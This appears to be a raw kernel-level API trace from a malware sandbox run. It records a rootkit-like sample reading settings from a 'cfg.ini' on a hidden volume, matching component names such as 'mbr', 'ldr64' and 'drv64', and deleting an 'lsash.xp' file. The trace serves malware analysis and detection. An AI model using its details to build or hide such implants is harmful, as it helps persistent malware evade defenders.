[0129.749] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.749] IdePortDispatch () returned 0x103 [0129.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.749] KeLeaveCriticalRegion () [0129.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.750] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.750] KeEnterCriticalRegion () [0129.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.750] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.750] KeLeaveCriticalRegion () [0129.750] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.750] KeEnterCriticalRegion () [0129.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.750] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.750] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.750] KeLeaveCriticalRegion () [0129.750] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.750] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.750] KeEnterCriticalRegion () [0129.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.750] ExFreePoolWithTag (P=0xfffffa8003c06090, Tag=0x0) [0129.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.750] KeLeaveCriticalRegion () [0129.750] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.750] ReleaseMutex (hMutex=0xf0) returned 1 [0129.750] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.757] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.757] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.757] KeEnterCriticalRegion () [0129.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.757] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.757] IdePortDispatch () returned 0x103 [0129.757] KeWaitForMutexObject () returned 0x0 [0129.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.757] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.757] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.757] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06430 [0129.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.757] KeLeaveCriticalRegion () [0129.757] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.757] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.757] KeEnterCriticalRegion () [0129.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.757] KeLeaveCriticalRegion () [0129.757] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.757] KeEnterCriticalRegion () [0129.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.758] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.758] IdePortDispatch () returned 0x103 [0129.758] KeWaitForMutexObject () returned 0x0 [0129.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.758] KeLeaveCriticalRegion () [0129.758] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.758] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.758] KeEnterCriticalRegion () [0129.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca5000 [0129.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.758] IdePortDispatch () returned 0x103 [0129.758] KeWaitForMutexObject () returned 0x0 [0129.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.758] IdePortDispatch () returned 0x103 [0129.759] KeWaitForMutexObject () returned 0x0 [0129.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.759] KeLeaveCriticalRegion () [0129.759] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.759] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.759] KeEnterCriticalRegion () [0129.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.759] KeLeaveCriticalRegion () [0129.759] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.759] KeEnterCriticalRegion () [0129.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.759] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.759] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.759] KeLeaveCriticalRegion () [0129.759] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.760] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.760] KeEnterCriticalRegion () [0129.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.760] ExFreePoolWithTag (P=0xfffffa8003c06430, Tag=0x0) [0129.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.760] KeLeaveCriticalRegion () [0129.760] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.760] ReleaseMutex (hMutex=0xf0) returned 1 [0129.760] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.760] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.760] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.760] KeEnterCriticalRegion () [0129.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.760] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.760] IdePortDispatch () returned 0x103 [0129.760] KeWaitForMutexObject () returned 0x0 [0129.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.760] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.760] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.760] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.760] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.760] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06590 [0129.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.760] KeLeaveCriticalRegion () [0129.760] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.760] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.760] KeEnterCriticalRegion () [0129.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.760] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.761] KeLeaveCriticalRegion () [0129.761] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.761] KeEnterCriticalRegion () [0129.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.761] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.761] IdePortDispatch () returned 0x103 [0129.761] KeWaitForMutexObject () returned 0x0 [0129.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.761] KeLeaveCriticalRegion () [0129.761] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.761] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.761] KeEnterCriticalRegion () [0129.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca6000 [0129.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.761] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.761] IdePortDispatch () returned 0x103 [0129.761] KeWaitForMutexObject () returned 0x0 [0129.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.762] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.762] IdePortDispatch () returned 0x103 [0129.762] KeWaitForMutexObject () returned 0x0 [0129.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.762] KeLeaveCriticalRegion () [0129.762] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.762] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.762] KeEnterCriticalRegion () [0129.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.762] KeLeaveCriticalRegion () [0129.762] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.762] KeEnterCriticalRegion () [0129.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.763] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.763] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.763] KeLeaveCriticalRegion () [0129.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.763] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.763] KeEnterCriticalRegion () [0129.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.763] ExFreePoolWithTag (P=0xfffffa8003c06590, Tag=0x0) [0129.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.763] KeLeaveCriticalRegion () [0129.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.763] ReleaseMutex (hMutex=0xf0) returned 1 [0129.763] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.763] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.763] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.763] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.763] KeEnterCriticalRegion () [0129.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.763] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.763] IdePortDispatch () returned 0x103 [0129.763] KeWaitForMutexObject () returned 0x0 [0129.763] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.763] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.763] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.763] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.763] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.763] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.763] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.764] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.764] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.764] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.764] KeLeaveCriticalRegion () [0129.764] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.764] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.764] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.764] KeEnterCriticalRegion () [0129.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.764] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.764] IdePortDispatch () returned 0x103 [0129.764] KeWaitForMutexObject () returned 0x0 [0129.764] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.764] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.764] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.764] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.764] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.764] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.764] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.764] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.764] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.764] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.764] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.765] KeLeaveCriticalRegion () [0129.765] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.765] ReleaseMutex (hMutex=0x100) returned 1 [0129.765] Sleep (dwMilliseconds=0x2bf20) [0129.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x708c6670, dwHighDateTime=0x1d24fa4)) [0129.773] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.773] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.773] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.773] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.773] KeEnterCriticalRegion () [0129.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.773] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.773] IdePortDispatch () returned 0x103 [0129.773] KeWaitForMutexObject () returned 0x0 [0129.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.774] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.774] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.774] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.774] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.774] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c065e0 [0129.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.774] KeLeaveCriticalRegion () [0129.774] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.774] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.774] KeEnterCriticalRegion () [0129.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.774] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 